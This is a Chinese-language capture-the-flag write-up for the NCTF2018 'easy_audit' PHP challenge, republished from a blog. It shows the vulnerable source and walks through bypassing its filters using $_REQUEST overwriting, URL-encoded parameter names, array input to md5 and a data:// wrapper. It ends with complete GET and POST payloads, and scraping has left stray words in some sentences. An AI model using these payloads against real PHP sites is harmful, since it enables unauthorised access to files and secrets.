NCTF2018_easy_audit=>coding_tricks

easy_audit

题目源码

<?php
highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
    foreach ($_REQUEST as $key => $value) {
        if(preg_match('/[a-zA-Z]/i', $value))   die('waf..');
    }
}

if($_SERVER){
    if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING']))  die('waf..');
}

if(isset($_GET['yulige'])){
    if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){         //日爆md5!!!!!!
        die('waf..');
    }else{
        if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){
            $getflag = file_get_contents($_GET['flag']);
        }
        if(isset($getflag) && $getflag === 'ccc_liubi'){
            include 'flag.php';
            echo $flag;
        }else die('waf..');
    }
}  

修改下,更加适合本地调试php

<?php
highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
    foreach ($_REQUEST as $key => $value) {
        if(preg_match('/[a-zA-Z]/i', $value))   die('111111');
    }
}

if($_SERVER){
    if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING']))  die('2222222');
}

if(isset($_GET['yulige'])){
    if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){         //日爆md5!!!!!!
        die('33333333');
    }else{
        if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){
            $getflag = file_get_contents($_GET['flag']);
        }else die('55555555');
        if(isset($getflag) && $getflag === 'ccc_liubi'){
            include 'flag.php';
            echo $flag;
        }else die('4444444');
    }
}

?> 
来自:https://blog.csdn.net/perfect0066/article/details/84663657  

第一层

$_REQUEST 变量虽说是包含 $_GET,$_POST,$_COOKIE 这些,但实际上却存在一个覆盖的问题,就是当 get 和 post 中有一个同名变量 data 时,在 request变量数组 中只会有一个名为 data 的变量,而且获取的是 post 的值。经过这样的覆盖,从而绕过对 get 变量的值的过滤。
git

 

 

这里不能用数组绕过,由于下面须要得到值,这里我能够利用$_REQUEST的变量覆盖,用post覆盖get的同名变量,达到绕过。github

第二层

$_SERVER['QUERY_STRING'] 这里的bypass,这个点应该是比较常见的了,$_SERVER['QUERY_STRING'] 获取的值是未经urldecode的,因此直接编码一下就行了数组

$_SERVER['QUERY_STRING']

这个全局变量中的QUERY_STRING是获取url中?后面的部分函数

http://localhost/aaa/index.php?p=222&q=333
结果: $_SERVER['QUERY_STRING'] = "p=222&q=333"; $_SERVER['REQUEST_URI'] = "/aaa/index.php?p=222&q=333"; $_SERVER['SCRIPT_NAME'] = "/aaa/index.php"; $_SERVER['PHP_SELF'] = "/aaa/index.php";

咱们把url编码下n为%6E,对于以下post

 

第三层

数组这里,fuzz一下,很容易发现数组是可绕的(参见同类型的漏洞也容易想到)学习

这里的话涉及php md5相关问题,md5函数没法处理数组,直接传入空数组,截取字符串为空,md5函数处理后也为空,所以相等绕过。编码

第四层

file_get_contents 这里要用伪协议其实很容易想到,但不少人彷佛就想着用 php://input ,这里由于要去覆盖 $_REQUEST ,因此假如是用 post 去覆盖的话,就不能用php://input 了。最简单的,用 data:// 协议就行了。url

这里就像github上写的同样,能够用php://input来读取,可是由于须要用post覆盖get绕过第一层,因此没法在post上动手。可是能够用伪协议data://读取想要的字符串spa

preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun' 这个点,可能作起来的时候会以为很奇怪,这里有什么好绕的?实际上,是由于出题人又双叒叕写错正则了。原本是想写 preg_match('/^nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun',而后让去看后面那个 $ 符的。。。

原本应该再多一层的,我本身本地尝试绕过,发现没法绕过。原本想经过换行是否能够,但发现不行。有知道的师傅,麻烦点拨一下。

完整payload

get:

?yulige[]=&nctf=Nnctfisfun&flag=data://text/plain;charset=unicode,ccc_liubi
或者
?%79ulige[]=&nct%66=Nnct%66isfun&%66lag=data://text/plain;base64,Y2NjX2xpdWJp
或者
?%79ulige[]=&nct%66=Nnct%66isfun&%66lag=data://text/plain,ccc_liubi

post:

nctf=123&flag=1

 

 

 

学习文章:

https://blog.csdn.net/perfect0066/article/details/84663657

https://github.com/NJUPT-coding-gay/NCTF2018/blob/master/Web/Easy_Audit/WriteUp.md

相关文章
相关标签/搜索